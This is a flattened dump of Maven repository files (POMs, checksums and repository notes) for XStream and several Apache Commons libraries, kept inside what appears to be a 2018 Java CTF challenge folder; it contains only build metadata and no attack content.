Parent 2004 XStream http://xstream.codehaus.org jdk16 1.6 xstream xstream-benchmark xstream-distribution jdk15 1.5 xstream xstream-benchmark xstream-distribution jdk14 1.4 xstream xstream-benchmark xstream-distribution BSD style http://xstream.codehaus.com/license.html repo commons-io commons-io 1.4 commons-cli commons-cli 1.1 commons-lang commons-lang 2.4 cglib cglib-nodep 2.2 dom4j dom4j 1.6.1 xml-apis xml-apis org.jdom jdom 1.1 joda-time joda-time 1.6 com.megginson.sax xml-writer 0.2 xml-apis xml-apis stax stax 1.2.0 stax stax-api 1.0.1 org.codehaus.woodstox wstx-asl 3.2.7 xom xom 1.1 xerces xmlParserAPIs xerces xercesImpl xalan xalan jaxen jaxen xpp3 xpp3_min 1.1.4c oro oro 2.0.8 org.codehaus.jettison jettison 1.0.1 xml-apis xml-apis 1.3.04 xerces xercesImpl 2.8.1 junit junit 3.8.1 test jmock jmock 1.0.1 test ${basedir}/src/java ${basedir}/src/java **/*.properties **/*.xml ${basedir}/src/test ${basedir}/src/test **/*.xsl **/*.txt org.apache.maven.plugins maven-antrun-plugin 1.1 org.apache.maven.plugins maven-assembly-plugin 2.1 org.apache.maven.plugins maven-clean-plugin 2.2 org.apache.maven.plugins maven-compiler-plugin 2.0.2 org.apache.maven.plugins maven-dependency-plugin 2.0-alpha-4 org.apache.maven.plugins maven-deploy-plugin 2.3 org.apache.maven.plugins maven-eclipse-plugin true org.apache.maven.plugins maven-enforcer-plugin 1.0-alpha-2 org.apache.maven.plugins maven-install-plugin 2.2 org.apache.maven.plugins maven-jar-plugin 2.1 org.apache.maven.plugins maven-javadoc-plugin 2.2 org.apache.maven.plugins maven-release-plugin 2.0-beta-8 deploy true org.apache.maven.plugins maven-resources-plugin 2.2 org.apache.maven.plugins maven-site-plugin 2.0-beta-6 org.apache.maven.plugins maven-source-plugin 2.0.4 attach-sources package jar org.apache.maven.plugins maven-surefire-plugin 2.4.3 once true false **/*Test.java **/*TestSuite.java **/Abstract*Test.java **/*$*.java java.awt.headless true org.apache.maven.plugins maven-surefire-report-plugin 2.4.3 org.codehaus.mojo cobertura-maven-plugin 2.0 clean org.codehaus.mojo jxr-maven-plugin 2.0-beta-1 org.codehaus.xsite xsite-maven-plugin 1.0 org.apache.maven.plugins maven-release-plugin https://svn.codehaus.org/xstream/tags org.apache.maven.wagon wagon-webdav 1.0-beta-2 codehaus.org Codehaus XStream Repository dav:https://dav.codehaus.org/repository/xstream codehaus.org Codehaus XStream Snapshot Repository dav:https://dav.codehaus.org/snapshots.repository/xstream codehaus.org Codehaus XStream Site dav:https://dav.codehaus.org/xstream scm:svn:http://svn.codehaus.org/xstream/tags/XSTREAM_1_3_1 scm:svn:https://svn.codehaus.org/xstream/tags/XSTREAM_1_3_1 http://fisheye.codehaus.org/browse/xstream/tags/XSTREAM_1_3_1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/thoughtworks/xstream/xstream-parent/1.3.1/xstream-parent-1.3.1.pom.sha1 ================================================ e516d2261450f78366236bbe26facdc856d7911e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:25 CST 2018 commons-beanutils-1.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.6/commons-beanutils-1.6.pom ================================================ 4.0.0 commons-beanutils commons-beanutils BeanUtils 1.6 Java Bean Utililities http://jakarta.apache.org/commons/beanutils/ 2000 rdonkin Robert Burrell Donkin rdonkin@apache.org Apache Software Foundation dion dIon Gillard dion@apache.org Apache Software Foundation craigmcc Craig McClanahan craigmcc@apache.org Apache Software Foundation geirm Geir Magnusson Jr. geirm@apache.org Apache Software Foundation sanders Scott Sanders sanders@apache.org Apache Software Foundation rwaldhoff Rodney Waldhoff rwaldhoff@apache.org Apache Software Foundation maven-surefire-plugin **/*TestCase.java commons-logging commons-logging 1.0 commons-collections commons-collections 2.0 junit junit 3.7 test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.6/commons-beanutils-1.6.pom.sha1 ================================================ cb6192708aa48ef75e8d04bcde65bc8d5a6ccdbf /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-beanutils/commons-beanutils/1.6/commons-beanutils-1.6.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.7.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 commons-beanutils-1.7.0.pom>central= commons-beanutils-1.7.0.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.7.0/commons-beanutils-1.7.0.jar.sha1 ================================================ 5675fd96b29656504b86029551973d60fb41339b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.7.0/commons-beanutils-1.7.0.pom ================================================ 4.0.0 commons-beanutils commons-beanutils 1.7.0 commons-logging commons-logging 1.0.3 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.7.0/commons-beanutils-1.7.0.pom.sha1 ================================================ 19eca029edacc1be30030faf43ea6acb30556d1a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.8.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 commons-beanutils-1.8.3.jar>central= commons-beanutils-1.8.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.8.3/commons-beanutils-1.8.3.jar.sha1 ================================================ 686ef3410bcf4ab8ce7fd0b899e832aaba5facf7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.8.3/commons-beanutils-1.8.3.pom ================================================ org.apache.commons commons-parent 14 4.0.0 commons-beanutils commons-beanutils 1.8.3 Commons BeanUtils 2000 BeanUtils provides an easy-to-use but flexible wrapper around reflection and introspection. http://commons.apache.org/beanutils/ jira http://issues.apache.org/jira/browse/BEANUTILS scm:svn:http://svn.apache.org/repos/asf/commons/proper/beanutils/trunk/ scm:svn:https://svn.apache.org/repos/asf/commons/proper/beanutils/trunk/ http://svn.apache.org/viewvc/commons/proper/beanutils/trunk/ Robert Burrell Donkin rdonkin rdonkin@apache.org Apache Software Foundation dIon Gillard dion dion@apache.org Apache Software Foundation Craig McClanahan craigmcc craigmcc@apache.org Apache Software Foundation Geir Magnusson Jr. geirm geirm@apache.org Apache Software Foundation Scott Sanders sanders sanders@apache.org Apache Software Foundation James Strachan jstrachan jstrachan@apache.org Apache Software Foundation Rodney Waldhoff rwaldhoff rwaldhoff@apache.org Apache Software Foundation Martin van den Bemt mvdb mvdb@apache.org Apache Software Foundation Yoav Shapira yoavs yoavs@apache.org Apache Software Foundation Niall Pemberton niallp niallp at apache dot org Apache Software Foundation Simon Kitching skitching skitching@apache.org Apache Software Foundation James Carman jcarman jcarman@apache.org Apache Software Foundation Paul Jack Stephen Colebourne Berin Loritsch commons-logging commons-logging 1.1.1 commons-collections commons-collections 3.2.1 true commons-collections commons-collections-testframework 3.2.1 test junit junit 3.8.1 test org.apache.maven.plugins maven-surefire-plugin pertest -Xmx25M **/*TestCase.java **/*MemoryTestCase.java true org.apache.commons.logging.impl.LogFactoryImpl org.apache.commons.logging.impl.SimpleLog> WARN maven-antrun-plugin package run maven-assembly-plugin src/main/assembly/bin.xml src/main/assembly/src.xml gnu 1.3 1.3 beanutils 1.8.3 BEANUTILS 12310460 org.apache.commons.beanutils.*;version=${pom.version};-noimport:=true org.apache.maven.plugins maven-checkstyle-plugin 2.3 ${basedir}/checkstyle.xml false ${basedir}/license-header.txt org.codehaus.mojo clirr-maven-plugin 2.2.2 1.8.2 info org.apache.maven.plugins maven-javadoc-plugin 2.5 true http://java.sun.com/j2se/1.4.2/docs/api/ http://commons.apache.org/collections/api-release/ org.apache.maven.plugins maven-changes-plugin 2.3 %URL%/%ISSUE% changes-report ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.8.3/commons-beanutils-1.8.3.pom.sha1 ================================================ 2ac6e1903d8c7b7f739163408fedd15794faa81b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-chain/commons-chain/1.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 commons-chain-1.1.jar>central= commons-chain-1.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-chain/commons-chain/1.1/commons-chain-1.1.jar.sha1 ================================================ 3038bd41dcdb2b63b8c6dcc8c15f0fdf3f389012 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-chain/commons-chain/1.1/commons-chain-1.1.pom ================================================ 4.0.0 commons-chain commons-chain Commons Chain 1.1 An implmentation of the GoF Chain of Responsibility pattern http://jakarta.apache.org/commons/${pom.artifactId.substring(8)}/ http://issues.apache.org/jira/ 2003 Commons Dev List commons-dev-subscribe@jakarta.apache.org commons-dev-unsubscribe@jakarta.apache.org http://mail-archives.apache.org/eyebrowse/SummarizeList?listName=commons-dev@jakarta.apache.org Commons User List commons-user-subscribe@jakarta.apache.org commons-user-unsubscribe@jakarta.apache.org http://mail-archives.apache.org/eyebrowse/SummarizeList?listName=commons-user@jakarta.apache.org craigmcc Craig McClanahan craigmcc@apache.org husted Ted Husted husted@apache.org martinc Martin Cooper martinc@apache.org Informatica mrdon Don Brown mrdon@apache.org jmitchell James Mitchell jmitchell at apache.org germuska Joe Germuska germuska at apache.org niallp Niall Pemberton niallp at apache.org The Apache Software License, Version 2.0 /LICENSE.txt scm:svn:http://svn.apache.org/repos/asf/jakarta/commons/proper/${pom.artifactId.substring(8)}/trunk http://svn.apache.org/viewcvs.cgi The Apache Software Foundation http://jakarta.apache.org src/java src/test ${pom.build.unitTestSourceDirectory} **/*.xml META-INF ${basedir} NOTICE.txt maven-surefire-plugin **/*TestCase.java maven-xdoc-plugin 1.9.2 <strong>Site Only</strong> - v1.9.2 (minimum) required for building the Chain Site documentation. maven-changelog-plugin 1.8.2 <strong>Site Only</strong> - v1.8.2 (minimum) required for building the Chain Site documentation. maven-changes-plugin 1.6 <strong>Site Only</strong> - v1.6 (minimum) required for building the Chain Site documentation. javax.servlet servlet-api 2.3 provided javax.portlet portlet-api 1.0 myfaces myfaces-api 1.1.0 junit junit 3.8.1 test commons-beanutils commons-beanutils 1.7.0 commons-digester commons-digester 1.6 commons-logging commons-logging 1.0.3 default Default Repository file:///www/jakarta.apache.org/builds/jakarta-commons/${pom.artifactId.substring(8)}/ default Default Site scp://people.apache.org//www/jakarta.apache.org/commons/${pom.artifactId.substring(8)}/ converted ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-chain/commons-chain/1.1/commons-chain-1.1.pom.sha1 ================================================ 9925db0ce8bea3b13afdf0565bb1a14c1c8c645c - ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-cli/commons-cli/1.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 commons-cli-1.0.jar>central= commons-cli-1.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-cli/commons-cli/1.0/commons-cli-1.0.jar.sha1 ================================================ 6dac9733315224fc562f6268df58e92d65fd0137 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-cli/commons-cli/1.0/commons-cli-1.0.pom ================================================ 4.0.0 commons-cli commons-cli CLI 1.0 Commons CLI provides a simple API for working with the command line arguments and options. 2002 jstrachan James Strachan jstrachan@apache.org SpiritSoft, Inc. bob bob mcwhirter bob@werken.com Werken jkeyes John Keyes jbjk@mac.com integral Source Berin Loritsch bloritsch@apache.org helped in the Avalon CLI merge Peter Maddocks peter_maddocks@hp.com Hewlett-Packard supplied patch maven-surefire-plugin **/*Test*.java commons-logging commons-logging 1.0 commons-lang commons-lang 1.0 junit junit 3.7 test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-cli/commons-cli/1.0/commons-cli-1.0.pom.sha1 ================================================ bc51fd74ed7c8ccf75b3abc84b3613d6ba60eb89 /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-cli/commons-cli/1.0/commons-cli-1.0.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-cli/commons-cli/1.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:50 CST 2018 commons-cli-1.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-cli/commons-cli/1.2/commons-cli-1.2.pom ================================================ org.apache.commons commons-parent 11 4.0.0 commons-cli commons-cli 1.2 Commons CLI 2002 Commons CLI provides a simple API for presenting, processing and validating a command line interface. http://commons.apache.org/cli/ jira http://issues.apache.org/jira/browse/CLI scm:svn:http://svn.apache.org/repos/asf/commons/proper/cli/branches/cli-1.x/ scm:svn:https://svn.apache.org/repos/asf/commons/proper/cli/branches/cli-1.x/ http://svn.apache.org/viewvc/commons/proper/cli/branches/cli-1.x/ James Strachan jstrachan jstrachan@apache.org SpiritSoft, Inc. Bob McWhirter bob bob@werken.com Werken contributed ideas and code from werken.opt John Keyes jkeyes jbjk@mac.com integral Source contributed ideas and code from Optz Rob Oxspring roxspring roxspring@imapmail.org Indigo Stone designed CLI2 Peter Donald contributed ideas and code from Avalon Excalibur's cli package Brian Egge made the 1.1 release happen Berin Loritsch bloritsch@apache.org helped in the Avalon CLI merge Peter Maddocks peter_maddocks@hp.com Hewlett-Packard supplied patch Andrew Shirley lots of fixes for 1.1 junit junit 3.8.1 test 1.4 1.4 cli 1.2 commons-cli-${commons.release.version} org.apache.commons.cli CLI 12310463 RC7 src/java src/test . META-INF NOTICE.txt LICENSE.txt maven-assembly-plugin src/assembly/bin.xml src/assembly/src.xml gnu org.codehaus.mojo findbugs-maven-plugin 1.2 Normal Default org.apache.maven.plugins maven-checkstyle-plugin src/conf/checkstyle.xml org.apache.maven.plugins maven-pmd-plugin org.codehaus.mojo cobertura-maven-plugin 2.2 org.codehaus.mojo clirr-maven-plugin 2.2.1 1.1 gump maven.final.name maven-jar-plugin ${maven.final.name} rc apache.website Apache Commons Release Candidate Staging Site ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/builds/commons/${commons.componentid}/${commons.release.version}/${commons.rc.version}/site ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-cli/commons-cli/1.2/commons-cli-1.2.pom.sha1 ================================================ e1b71e4b511c3c63f8b19d0302fe1d1c6e79035a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-codec/commons-codec/1.10/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 commons-codec-1.10.jar>central= commons-codec-1.10.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-codec/commons-codec/1.10/commons-codec-1.10.jar.sha1 ================================================ 4b95f4897fa13f2cd904aee711aeafc0c5295cd8 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-codec/commons-codec/1.10/commons-codec-1.10.pom ================================================ org.apache.commons commons-parent 35 4.0.0 commons-codec commons-codec 1.10 Apache Commons Codec 2002 The Apache Commons Codec package contains simple encoder and decoders for various formats such as Base64 and Hexadecimal. In addition to these widely used encoders and decoders, the codec package also maintains a collection of phonetic encoding utilities. 3.0.0 http://commons.apache.org/proper/commons-codec/ jira http://issues.apache.org/jira/browse/CODEC scm:svn:http://svn.apache.org/repos/asf/commons/proper/codec/trunk scm:svn:https://svn.apache.org/repos/asf/commons/proper/codec/trunk http://svn.apache.org/viewvc/commons/proper/codec/trunk stagingSite Apache Staging Website ${commons.deployment.protocol}://people.apache.org/www/commons.apache.org/${commons.componentid}/ Henri Yandell bayard bayard@apache.org Tim OBrien tobrien tobrien@apache.org -6 Scott Sanders sanders sanders@totalsync.com Rodney Waldhoff rwaldhoff rwaldhoff@apache.org Daniel Rall dlr dlr@finemaltcoding.com Jon S. Stevens jon jon@collab.net Gary Gregory ggregory ggregory@apache.org http://www.garygregory.com -5 David Graham dgraham dgraham@apache.org Julius Davies julius julius@apache.org http://juliusdavies.ca/ -8 Thomas Neidhart tn tn@apache.org Christopher O'Brien siege@preoccupied.net hex md5 architecture Martin Redington Representing xml-rpc Jeffery Dever Representing http-client Steve Zimmermann steve.zimmermann@heii.com Documentation Benjamin Walstrum ben@walstrum.com Oleg Kalnichevski oleg@ural.ru Representing http-client Dave Dribin apache@dave.dribin.org DigestUtil Alex Karasulu aok123 at bellsouth.net Submitted Binary class and test Matthew Inger mattinger at yahoo.com Submitted DIFFERENCE algorithm for Soundex and RefinedSoundex Jochen Wiedmann jochen@apache.org Base64 code [CODEC-69] Sebastian Bazley sebb@apache.org Streaming Base64 Matthew Pocock turingatemyhamster@gmail.com Beider-Morse phonetic matching Colm Rice colm_rice at hotmail dot com Submitted Match Rating Approach (MRA) phonetic encoder and tests [CODEC-161] junit junit 4.11 test 1.6 1.6 codec 1.10 RC1 CODEC 12310464 UTF-8 UTF-8 UTF-8 ${basedir}/LICENSE-header.txt org.apache.maven.plugins maven-scm-publish-plugin archive** org.apache.maven.plugins maven-surefire-plugin **/*AbstractTest.java **/*PerformanceTest.java org.apache.maven.plugins maven-jar-plugin 2.4 test-jar org.apache.maven.plugins maven-assembly-plugin 2.5 src/main/assembly/bin.xml src/main/assembly/src.xml gnu org.apache.maven.plugins maven-checkstyle-plugin 2.9.1 ${basedir}/checkstyle.xml false ${basedir}/LICENSE-header.txt checkstyle org.apache.maven.plugins maven-pmd-plugin 3.2 ${maven.compiler.target} true ${basedir}/pmd.xml org.codehaus.mojo findbugs-maven-plugin 2.5.5 org.codehaus.mojo taglist-maven-plugin 2.4 TODO NOPMD NOTE org.codehaus.mojo javancss-maven-plugin 2.0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-codec/commons-codec/1.10/commons-codec-1.10.pom.sha1 ================================================ 44b9477418d2942d45550f7e7c66c16262062d0e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-codec/commons-codec/1.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 commons-codec-1.3.pom>central= commons-codec-1.3.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-codec/commons-codec/1.3/commons-codec-1.3.jar.sha1 ================================================ fd32786786e2adb664d5ecc965da47629dca14ba ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-codec/commons-codec/1.3/commons-codec-1.3.pom ================================================ 4.0.0 commons-codec commons-codec Codec 1.3 The codec package contains simple encoder and decoders for various formats such as Base64 and Hexadecimal. In addition to these widely used encoders and decoders, the codec package also maintains a collection of phonetic encoding utilities. http://jakarta.apache.org/commons/codec/ http://nagoya.apache.org/bugzilla/buglist.cgi?bug_status=NEW&bug_status=ASSIGNED&bug_status=REOPENED&email1=&emailtype1=substring&emailassigned_to1=1&email2=&emailtype2=substring&emailreporter2=1&bugidtype=include&bug_id=&changedin=&votes=&chfieldfrom=&chfieldto=Now&chfieldvalue=&product=Commons&component=Codec&short_desc=&short_desc_type=allwordssubstr&long_desc=&long_desc_type=allwordssubstr&bug_file_loc=&bug_file_loc_type=allwordssubstr&keywords=&keywords_type=anywords&field0-0-0=noop&type0-0-0=noop&value0-0-0=&cmdtype=doit&newqueryname=&order=Reuse+same+sort+as+last+time
      commons-dev@jakarta.apache.org
      2002 Commons Dev List commons-dev-subscribe@jakarta.apache.org commons-dev-unsubscribe@jakarta.apache.org http://nagoya.apache.org/eyebrowse/SummarizeList?listName=commons-dev@jakarta.apache.org Commons User List commons-user-subscribe@jakarta.apache.org commons-user-unsubscribe@jakarta.apache.org http://nagoya.apache.org/eyebrowse/SummarizeList?listName=commons-user@jakarta.apache.org bayard Henri Yandell bayard@generationjava.com tobrien Tim OBrien tobrien@apache.org -6 sanders Scott Sanders sanders@totalsync.com rwaldhoff Rodney Waldhoff rwaldhoff@apache.org dlr Daniel Rall dlr@finemaltcoding.com jon Jon S. Stevens jon@collab.net ggregory Gary D. Gregory ggregory@seagullsw.com Seagull Software -8 dgraham David Graham dgraham@apache.org Christopher O'Brien siege@preoccupied.net Martin Redington Jeffery Dever Steve Zimmermann steve.zimmermann@heii.com Benjamin Walstrum ben@walstrum.com Oleg Kalnichevski oleg@ural.ru Dave Dribin apache@dave.dribin.org Alex Karasulu aok123 at bellsouth.net Matthew Inger mattinger at yahoo.com The Apache Software License, Version 2.0 /LICENSE.txt scm:cvs:pserver:anoncvs@cvs.apache.org:/home/cvspublic:jakarta-commons/codec http://cvs.apache.org/viewcvs/jakarta-commons/codec/ The Apache Software Foundation http://jakarta.apache.org src/java src/test src/test **/*.xml maven-surefire-plugin **/Test*.java **/*Test.java **/*AbstractTest.java junit junit 3.8.1 test default Default Repository file:///www/jakarta.apache.org/builds/jakarta-commons/codec/ default Default Site scp://jakarta.apache.org//www/jakarta.apache.org/commons/codec/
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-codec/commons-codec/1.3/commons-codec-1.3.pom.sha1 ================================================ c5a7a1a49dac255ed78180d5fae26cfaa5e48147 /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-codec/commons-codec/1.3/commons-codec-1.3.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/2.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:28 CST 2018 commons-collections-2.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/2.0/commons-collections-2.0.pom ================================================ 4.0.0 commons-collections commons-collections 2.0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/2.0/commons-collections-2.0.pom.sha1 ================================================ b0d78d06e725d7f8176256eaeceb9d5b3f0a7bca /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-collections/commons-collections/2.0/commons-collections-2.0.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:30 CST 2018 commons-collections-2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/2.1/commons-collections-2.1.pom ================================================ 4.0.0 commons-collections commons-collections Collections 2.1 Commons Collections 2002 Morgan Delagrange Geir Magnusson Craig McClanahan rwaldof Rodney Waldoff David Weinrich maven-surefire-plugin **/TestAll.java **/BulkTest.java **/TestComparableComparator.java **/TestComparatorChain.java **/TestComparator.java **/TestCursorableLinkedList.java **/TestNullComparator.java **/TestReverseComparator.java **/LocalTestNode.java **/TestAbstractIntArrayList.java **/TestAbstractLongArrayList.java **/TestAbstractShortArrayList.java **/TestArrayList.java **/TestArrayStack.java **/TestBag.java **/TestCollection.java **/TestFastArrayList1.java **/TestFastArrayList.java **/TestFastHashMap1.java **/TestFastHashMap.java **/TestFastTreeMap1.java **/TestFastTreeMap.java **/TestIterator.java **/TestList.java **/TestLRUMap.java **/TestMap.java **/TestMultiHashMap.java **/TestObject.java **/TestProxyMap.java **/TestSequencedHashMap.java **/TestSoftRefHashMap.java **/TestSet.java **/TestTreeMap.java **/TestPredicatedCollection.java junit junit 3.7 test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/2.1/commons-collections-2.1.pom.sha1 ================================================ 03ac124c9f50b403afc9819e1f430d6883e77213 /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-collections/commons-collections/2.1/commons-collections-2.1.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:10 CST 2018 commons-collections-3.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.1/commons-collections-3.1.pom ================================================ 4.0.0 commons-collections commons-collections 3.1 Types that extend and augment the Java Collections Framework. 2001 scolebourne Stephen Colebourne morgand Morgan Delagrange matth Matthew Hawthorne geirm Geir Magnusson craigmcc Craig McClanahan psteitz Phil Steitz amamment Arun M. Thomas rwaldhoff Rodney Waldhoff bayard Henri Yandell Max Rydahl Andersen Federico Barbieri Arron Bates Nicola Ken Barozzi Ola Berg Christopher Berry Janek Bogucki Chuck Burdick Dave Bryson Julien Buret Jonathan Carlson Ram Chidambaram Peter Donald Steve Downey Rich Dougherty Stefano Fornari Andrew Freeman Gerhard Froehlich Paul Jack Eric Johnson Kent Johnson Marc Johnson Nissim Karpenstein Mohan Kishore Simon Kitching Peter KoBek David Leppik Berin Loritsch Stefano Mazzocchi Brian McCallister Leon Messerschmidt Mauricio S. Moura Kasper Nielsen Steve Phelps Ilkka Priha Herve Quiroz Daniel Rall Henning P. Schmiedehausen Howard Lewis Ship Joe Raysa Michael Smith Jan Sorensen Jon S. Stevens James Strachan Leo Sutic Neil O'Toole Jeff Turner Jeff Varszegi Ralph Wagner David Weinrich Dieter Wimberger Serhiy Yevtushenko Jason van Zyl Apache Software Foundation http://www.apache.org maven-surefire-plugin org/apache/commons/collections/TestAllPackages.java junit junit 3.8.1 test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.1/commons-collections-3.1.pom.sha1 ================================================ f1afb3351823e726793a165ca37dced8f0191370 /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:33 CST 2018 commons-collections-3.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.2/commons-collections-3.2.pom ================================================ 4.0.0 commons-collections commons-collections Collections 3.2 Types that extend and augment the Java Collections Framework. http://jakarta.apache.org/commons/collections/ http://issues.apache.org/bugzilla/
      commons-dev@jakarta.apache.org
      2001 Commons Dev List commons-dev-subscribe@jakarta.apache.org commons-dev-unsubscribe@jakarta.apache.org http://mail-archives.apache.org/eyebrowse/SummarizeList?listName=commons-dev@jakarta.apache.org Commons User List commons-user-subscribe@jakarta.apache.org commons-user-unsubscribe@jakarta.apache.org http://mail-archives.apache.org/eyebrowse/SummarizeList?listName=commons-user@jakarta.apache.org scolebourne Stephen Colebourne morgand Morgan Delagrange matth Matthew Hawthorne geirm Geir Magnusson craigmcc Craig McClanahan psteitz Phil Steitz amamment Arun M. Thomas rwaldhoff Rodney Waldhoff bayard Henri Yandell jcarman James Carman rdonkin Robert Burrell Donkin Rafael U. C. Afonso Max Rydahl Andersen Federico Barbieri Arron Bates Nicola Ken Barozzi Sebastian Bazley Matt Benson Ola Berg Christopher Berry Nathan Beyer Janek Bogucki Chuck Burdick Dave Bryson Julien Buret Jonathan Carlson Ram Chidambaram Steve Clark Eric Crampton Dimiter Dimitrov Peter Donald Steve Downey Rich Dougherty Tom Dunham Stefano Fornari Andrew Freeman Gerhard Froehlich Paul Jack Eric Johnson Kent Johnson Marc Johnson Nissim Karpenstein Shinobu Kawai Mohan Kishore Simon Kitching Thomas Knych Serge Knystautas Peter KoBek Jordan Krey Olaf Krische Guilhem Lavaux Paul Legato David Leppik Berin Loritsch Stefano Mazzocchi Brian McCallister Steven Melzer Leon Messerschmidt Mauricio S. Moura Kasper Nielsen Stanislaw Osinski Alban Peignier Mike Pettypiece Steve Phelps Ilkka Priha Jonas Van Poucke Will Pugh Herve Quiroz Daniel Rall Robert Ribnitz Huw Roberts Henning P. Schmiedehausen Howard Lewis Ship Joe Raysa Thomas Schapitz Jon Schewe Andreas Schlosser Christian Siefkes Michael Smith Stephen Smith Jan Sorensen Jon S. Stevens James Strachan Leo Sutic Chris Tilden Neil O'Toole Jeff Turner Kazuya Ujihara Jeff Varszegi Ralph Wagner David Weinrich Dieter Wimberger Serhiy Yevtushenko Jason van Zyl The Apache Software License, Version 2.0 /LICENSE.txt scm:svn:http://svn.apache.org/repos/asf/jakarta/commons/proper/collections/trunk http://svn.apache.org/repos/asf/jakarta/commons/proper/collections/trunk The Apache Software Foundation http://jakarta.apache.org src/java src/test META-INF . NOTICE.txt maven-surefire-plugin org/apache/commons/collections/TestAllPackages.java maven-plugins maven-cobertura-plugin 1.1.1 test Required only for generating test coverage reports. junit junit 3.8.1 test default Default Repository file:///www/jakarta.apache.org/builds/jakarta-commons/collections/ default Default Site scp://people.apache.org//www/jakarta.apache.org/commons/collections/ converted
